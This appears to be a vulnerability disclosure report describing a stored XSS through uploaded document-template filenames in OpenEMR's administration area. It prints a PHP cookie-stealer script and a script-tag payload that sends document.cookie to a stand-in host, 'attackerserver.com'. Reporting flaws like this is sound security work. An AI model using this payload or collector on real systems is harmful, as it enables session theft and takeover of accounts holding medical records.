Description

Hello everyone,

During my testing on openemr at the demo available here https://demo.openemr.io/openemr, I found a Stored XSS on filename at Uploading Documents Templates which is found on Administration tab, what makes this Stored XSS really severe is the ability of stealing session cookies and therefore taking over the account of any user that is seeing the filename.

Technical Details:

after going to https://demo.openemr.io/openemr/interface/main/tabs/main.php and selecting Administration>Documents>Document Templates in the menu above of the page, admin is able to upload files, the filename isn't sanitized properly and thus allowing an attacker to inject JavaScript code in context of the website and granting access to session cookies, what makes this severe ?? victim users working on the platform are able to see the files uploaded by the admin, the XSS would execute for these users in the moment they see these evil filenames. and because HttpOnly flag isn't set for session cookies, an attacker can easily grab them by submitting cookies to a server-side script written by him.

Attack Scenario:

to demonstrate a realistic attack for this issue, I included here some steps taken to successfully takeover a victim account.

I set up a basic PHP script that is responsible for grabbing the cookies supplied in a GET parameter and then logging them to a log file in the server:

<?php 
     

    /* Cookie stealer is a PHP script responsible for grabbing user cookies ==> it's used in XSS attacks ... by @mdakh404 */ 
   
    $cookies = $_GET['c'];
    $file_handle = fopen('log.txt', 'a');

    if (isset($cookies)) {
    
             fwrite($file_handle, $cookies);
        
    }

    fclose($file_handle);


?>

I started an Apache web server with a PHP installation on my VPS to get these cookies, so our web server and our PHP script are ready, but we need to construct an XSS payload that will send out session cookies to the PHP script, our XSS payload is the following:

<script>let i = new Image(); i.src = "http://attackerserver.com/stealer.php?c=" + document.cookie;</script>

Proof of Concept

Impact

account takeover.